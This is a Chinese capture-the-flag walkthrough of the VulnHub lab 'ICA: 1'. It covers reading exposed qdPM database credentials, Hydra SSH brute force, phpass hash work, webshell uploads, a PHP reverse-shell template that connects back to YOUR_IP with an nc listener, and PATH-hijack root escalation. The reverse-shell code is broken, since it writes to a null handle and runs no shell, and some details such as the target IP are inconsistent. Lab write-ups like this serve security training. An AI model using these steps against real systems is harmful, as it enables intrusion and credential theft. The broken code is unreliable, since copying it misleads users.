简介

  • 名称:ICA: 1

  • 发布日期:2021 年 9 月 25 日

  • 难度:容易

  • 描述:根据我们情报网络的信息,ICA 正在开展一个秘密项目。我们需要弄清楚这个项目是什么。获得访问信息后,请将其发送给我们。我们稍后会放置一个后门来访问系统。您只需关注项目是什么。您可能必须通过几层安全性。原子能机构对您将成功完成这项任务充满信心。祝你好运,代理!

  • 下载地址https://www.vulnhub.com/entry/ica-1,748/

  • kali攻击机ip:192.168.1.4

  • 靶机地址:192.168.1.32

一、信息收集

1.使用arp-scan对靶机IP进行扫描

2.使用nmap对目标靶机进行端口扫描

nmap -p 1-65535 192.168.1.32

开放了22,80,3306,33060

3.使用dirsearch对目标靶机进行目录扫描

dirsearch -u http://192.168.1.32/

[11:09:37] 301 -  309B  - /js  ->  http://192.168.1.32/js/
[11:10:27] 200 - 406B - /backups/
[11:10:27] 301 - 314B - /backups -> http://192.168.1.32/backups/
[11:10:33] 200 - 0B - /check.php
[11:10:39] 301 - 311B - /core -> http://192.168.1.32/core/
[11:10:40] 301 - 310B - /css -> http://192.168.1.32/css/
[11:10:49] 200 - 894B - /favicon.ico
[11:10:56] 301 - 313B - /images -> http://192.168.1.32/images/
[11:10:56] 200 - 639B - /images/
[11:10:57] 200 - 2KB - /index.php
[11:10:58] 301 - 314B - /install -> http://192.168.1.32/install/
[11:10:59] 200 - 764B - /install/index.php?upgrade/
[11:10:59] 200 - 764B - /install/
[11:11:00] 301 - 317B - /javascript -> http://192.168.1.32/javascript/
[11:11:01] 200 - 576B - /js/
[11:11:10] 200 - 208B - /manual/index.html
[11:11:10] 301 - 313B - /manual -> http://192.168.1.32/manual/
[11:11:37] 200 - 338B - /readme.txt
[11:11:39] 200 - 26B - /robots.txt
[11:11:58] 200 - 487B - /template/
[11:12:04] 200 - 471B - /uploads/

apache

index of

网站安装目录

二、历史漏洞利用

1.使用searchsploit查找qdPM框架历史漏洞

qdPM 9.2 - Cross-site Request Forgery (CSRF)

跨站请求伪造(CSRF)

在CSRF攻击中,攻击者通常构建一个恶意的URL,这个URL内嵌了一个请求,当受害者点击时,他们的浏览器会自动包含任何相关的cookies或认证信息,并将请求发送到目标网站。例如,攻击者可以创建一个链接,当用户点击后,会向qdPM服务器发送一个修改密码的请求,如果用户当时已经登录了qdPM,那么这个请求就会以用户的身份被执行,从而导致密码被更改。

qdPM 9.2 - Password Exposure (Unauthenticated)

密码暴露(未认证访问)

如果存在未认证的密码暴露漏洞,攻击者可能无需认证就能访问存储在数据库中的密码或通过网络传输的密码。这可能是因为qdPM以明文形式存储密码,或者在传输过程中没有使用加密,使得中间人(MITM)攻击成为可能,攻击者能够截获并阅读密码数据。

使用find,cat命令查看历史漏洞利用信息

漏洞详情

漏洞说明

qdPM 9.2中数据库的连接字符串和密码被存储在一个YAML文件中。通常,这种敏感信息应当被严格保护,但在该版本中,可以通过直接访问http://<website>/core/config/databases.yml来下载并查看此文件的内容。这意味着任何人都可以在不知道任何认证凭据的情况下访问和下载包含数据库连接详细信息的配置文件。

wget http://192.168.11.177/core/config/databases.yml 下载yml文件

username: qdpmadmin

password: UcVQCMQk2STVeS6J

2.Navicat连接mysql数据库

mysql数据库+qdpm网站数据库+staff员工数据库

staff表

员工SSH登录账号

员工SSH登录密码

密码base64解码

Smith

suRJAdGwLp8dy3rF

Lucas

7ZwV4qtg42cmUXGX

Travis

X7MQkP3W29fewHdC

Dexter

DJceVy98W28Y7wLg

Meyer

cqNnBWCByS2DuJSy

通过staff的数据对ssh进行爆破——使用Hydra

hydra(九头蛇)是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解。密码能否破解,在于字典是否强大。

这里一定要注意将账号全部改小写,将账号、密码分别保存到两个文件

多线程分析命令

hydra -L /home/kali/桌面/user -P /home/kali/桌面/passwd -t 2 -vV -e ns 192.168.1.32 ssh

login: travis password: DJceVy98W28Y7wLg

login: dexter password: 7ZwV4qtg42cmUXGX

xftp连接——travis有一个flag,dexter有一个文件

ICA{Secret_Project}

存在一个note文件,内容如下

qdpm表

打开configuration表可以看到网站登录的账号密码,密码加密,无法直接登录。

要清楚加密方式,才可以解密

加密识别

方法1:这个网站密码加密方式未知,可以下载网站源码,放notepad找加密文件,了解对应的加密方式,具体流程可以参考服务器取证的题目。

方法2:网上查了一下,qdpm现在使用的是一种叫phpass的加密技术,也叫做wordpress(MD5)

  • 谈谈常见的加密和哈希值表示法:
    
    - "$P$" 通常表示经过 PHPass 工具加密的密码哈希值。
    
    - "{MD5}" 表示该字符串是 MD5 哈希值。
    
    - "{SHA1}" 表示该字符串是 SHA-1 哈希值。 
    
    - "{SSHA}" 表示该字符串是 Salted SHA-1 哈希值。
    
    - "$2a$" 表示该字符串是经过 Bcrypt 工具加密的密码哈希值。
    
    - "$2y$" 也表示经过 Bcrypt 加密的密码哈希。
    
    - "$5$" 表示经过 SHA-256 加密的密码哈希。
    
    - "$6$" 表示经过 SHA-512 加密的密码哈希。

方法3:也可以用在线识别网站判断加密方式——https://hashes.com/en/tools/hash_identifier

方法4:也可以使用hash-identifie:https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master

hash-identifie是一个非常容易使用的 Python 工具,当你输入一个哈希值时,它会告诉你这个哈希值最有可能是什么哈希类型,将一系列哈希类型按可能性进行降序排列。

你可以使用以下方法从 gitlab 中提取hash-identifie的python 文件进行工具安装:

wget https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py

密码破解

在kali自带的John the Ripper工具里支持对phpass加密密码的破解

John the Ripper支持7种哈希类型密码破解,分别是bcrypt、descrypt 、sha512crypt、Drupal7、sha256crypt、md5cryp 与 phpass

我们把密码拷贝出来,存在攻击机的一个文件里

使用john尝试破解:john 文件路径 --wordlist=/usr/share/wordlists/rockyou.txt

不过我电脑都快跑冒烟了都没解出来

只能重新设置密码,加密后覆盖原密码

另外也可以用python调用phpass进行解密

from passlib.hash import phpass

\# 加密

password = "ABCDEF"

hashed_password = phpass.hash(password)

print(hashed_password)

\# 验证

if phpass.verify(password, hashed_password):

  print("Password matched")

else:

  print("Password did not match")

http://web.chacuo.net/safewordpress

这个网站也可以生成

密码:$P$BFHXrjZhxiaw7s1qSMm2xePeFsvz5L.

admin@localhost.com/123456 登录成功

三、文件上传

继续拿权限——添加用户,尝试上传php文件和图片文件的一句话木马,但是网站有过滤

添加一个自己的账号,给予管理员权限

用增加的用户登录

项目——新建项目——添加附件——上传木马

方法一:weevely

weevely生成php木马

weevely generate 密码 ./木马名称.php

上传网站

文件上传路径可以通过前面信息收集到的目录查找到——Index of

http://192.168.1.32/uploads/attachments/

方法二:蚁剑连接一句话木马

后面发现不管哪个地方上传都是在/uploads/attachments/目录下

这里是通过添加备注上传一句话木马,蚁剑连接即可

方法三:反弹shell,nc监听

利用文件上传漏洞进行反弹shell是一种常见的渗透测试技术,主要用于在目标服务器上获得一个交互式的shell。以下是在Kali Linux中,通过上传PHP文件来实现反弹shell的步骤:

前提条件

  • Kali Linux
  • 网络访问至目标服务器
  • 已经发现并验证了目标服务器的文件上传漏洞

步骤

  1. 准备反弹shell的PHP代码

    创建一个PHP文件,该文件将在被访问时尝试与你的Kali机器建立TCP连接。你可以使用以下代码模板(将YOUR_IP替换为你的Kali Linux的IP地址,将YOUR_PORT替换为你选择的监听端口):

    <?php
    $ip = 'YOUR_IP';
    $port = YOUR_PORT;
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i'; $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    $msg = "Now exiting...\n";
    echo $msg;
    exit;
    } fwrite($sock, "$shell\n"); while (!feof($sock)) {
    if (feof($write_a)) {
    fwrite($sock, "\n");
    continue;
    }
    $read_a = fread($sock, $chunk_size);
    if (strlen($read_a) == 0) {
    break;
    }
    fwrite($write_a, $read_a);
    } fclose($write_a);
    fclose($read_a);
    fclose($error_a);
    ?>

    将这个代码保存为一个.php文件,例如revshell.php

  2. 设置监听端口

    在Kali Linux上,使用nc(netcat)或ncat(nmap的扩展)命令来监听指定的端口。例如,监听4444端口:

    nc -lvnp 4444

    或者使用ncat

    ncat -lvnp 4444
  3. 上传PHP文件

    使用已知的文件上传漏洞将revshell.php上传到目标服务器的web可访问目录中。这通常通过Web应用程序的文件上传功能完成,具体方法取决于目标应用的上传机制。

  4. 触发反弹shell

    通过访问你上传的PHP文件的URL来触发反弹shell。例如,如果文件上传到了http://target-server/path/to/uploadedfile.php,就在浏览器中访问该URL或通过curl访问:

    curl http://target-server/path/to/uploadedfile.php
  5. 接收shell

    在Kali Linux上,你应该能看到一个shell出现在ncncat的监听端口中。现在,你就可以与目标服务器进行交互了。

升级会话

使用python -c 'import pty; pty.spawn("/bin/bash")'升级会话

这个命令在Python中启动一个交互式的bash shell会话,其中使用了Python的pty模块。

这种技术常被用于远程控制场景,例如在SSH连接中,或者在自动化脚本中需要模拟用户交互的场景。此外,它也被黑客用于在成功获得初步权限后,提升为更完整的shell访问,尤其是在渗透测试或红队活动中。

四、提权

这里建议使用反弹shell连接,上面的方法1,2均为webshell,权限较低,无法执行更改命令

find / -perm -u=s 2>&1 | grep -v "Permission denied"

这条命令的目的是列出系统中所有设置了Set-UID权限的文件,同时排除了因权限不足而产生的错误信息。这在系统管理、安全审计或查找潜在的安全漏洞时非常有用

1.找到可疑文件get_access

strings /opt/get_access

尝试读取该文件的字符内容,发现setuid字样,及cat读取root路径下文件的语句。猜测该程序先设置了UID,之后调用cat读取文件。可以考虑通过替换cat提权。

2.更改环境变量

执行get_access提权

cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
/opt/get_access

3.找到Flag

root@debian:/root# ls

ls

root.txt system.info

root@debian:/root# more root.txt

more root.txt

ICA{Next_Generation_Self_Renewable_Genetics}

root@debian:/# cd /home

cd /home

root@debian:/home# ls

ls

dexter travis

root@debian:/home# cd travis

cd travis

root@debian:/home/travis# ls

ls

user.txt

root@debian:/home/travis# more user.txt

more user.txt

ICA{Secret_Project}ICA

三个flag已找到

总结

1.这次靶场先从信息收集入手,获取网站端口,目录等信息

2.对80网站利用框架漏洞进行渗透,获取Mysql数据库账密,再通过3306端口连接数据库,得到网站和SSH连接的账号密码,再通过密码爆破和密码MD5解密成功连上SSH和登录网站,找到一个flag

3.网站上传了三种木马,最后反弹shell到攻击机上执行命令

4.通过SSH的文件提示知道提权文件的利用方式,即ICA提权,获取了root权限,找到了最后的两个flag

Vulnhub-ICA01的更多相关文章

  1. vulnhub writeup - 持续更新

    目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...

  2. Vulnhub Breach1.0

    1.靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/C ...

  3. HA Joker Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-joker,379/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.132Starti ...

  4. HA: ISRO Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-isro,376/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.131Startin ...

  5. LAMPSecurity: CTF6 Vulnhub Walkthrough

    镜像下载地址: https://www.vulnhub.com/entry/lampsecurity-ctf6,85/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202 ...

  6. Hacker Fest: 2019 Vulnhub Walkthrough

    靶机地址: https://www.vulnhub.com/entry/hacker-fest-2019,378/ 主机扫描: FTP尝试匿名登录 应该是WordPress的站点 进行目录扫描: py ...

  7. DC8: Vulnhub Walkthrough

    镜像下载链接: https://www.vulnhub.com/entry/dc-8,367/#download 主机扫描: http://10.10.202.131/?nid=2%27 http:/ ...

  8. HA: Infinity Stones Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-infinity-stones,366/ 主机扫描: 目录枚举 我们按照密码规则生成字典:gam,%%@@2012 cru ...

  9. Sunset: Nightfall Vulnhub Walkthrough

    靶机链接: https://www.vulnhub.com/entry/sunset-nightfall,355/ 主机扫描: ╰─ nmap -p- -A 10.10.202.162Starting ...

  10. Dc:7 Vulnhub Walkthrough

    靶机下载地址: https://www.vulnhub.com/entry/dc-7,356/ 主机扫描: http://10.10.202.161/ Google搜索下: SSH 登录 以上分析得出 ...

随机推荐

  1. JDK源码阅读-------自学笔记(四)带标签的break和continues

    "标签"是指后面跟一个冒号的标识符,例如:"label:".对Java来说唯一用到标签的地方是在循环语句之前.而在循环之前设置标签的唯一理由是:我们希望在其中嵌 ...

  2. pageoffice6 实现提取数据区域为子文件(Word拆分)

    在实际的开发过程中,有时会遇到希望提取Word文档中部分内容保存为子文件的需求,PageOffice支持提取Word文档数据区域中的内容为一个Word文件流,在服务器端创建PageOffice的Wor ...

  3. vue-element-admin 运行踩坑笔记

      npm WARN deprecated svgo@1.3.2: This SVGO version is no longer supported. Upgrade to v2.x.x. npm E ...

  4. kubenetes中的pod删除策略 级联删除与非级联删除

    StatefulSet 有状态应用[有状态应用] 有状态:StatefulSet - 集群节点之间的关系. - 数据不完全一致. - 实例之间不对等的关系. - 依靠外部存储的应用. - 通过dns维 ...

  5. Python实现字符串模糊匹配

      在一个字符串中,有时需对其中某些内容进行模糊匹配以实现条件的判定,如在"你好,hello,world"中判断是否含有"llo".Python中通过re.se ...

  6. webpack externals忽略不打入的包

    例如项目中使用从 CDN 引入 jQuery,而不是把它打包进来使用 import $ from 'jquery' webpack.config.js externals: { jquery: 'jQ ...

  7. .NET5 IIS ASP.NET CORE 部署时 HTTP Error 502.5 - ANCM Out-Of-Process Startup Failure

    .NET5 IIS ASP.NET CORE 部署时 HTTP Error 502.5 - ANCM Out-Of-Process Startup Failure 部署机器只安装了dotnet-hos ...

  8. 如何解决系统报错:nf_conntrack: table full, dropping packets

    问题 在系统日志中(/var/log/messages),有时会看到大面积的下面的报错: nf_conntrack: table full, dropping packet 这说明系统接到了大量的连接 ...

  9. @RequestMapping 注解用在类上面有什么作用?

    是一个用来处理请求地址映射的注解,可用于类或方法上.用于类上,表示类中的所有响应请求的方法都是以该地址作为父路径.

  10. Vue2复习

    Vue2 插值.指令.动态属性.表达式.v-html 插值:{{ data }} 指令 & 动态属性:例子(:id="xxx") 表达式:可以用于赋值,写在{{}}里面 v ...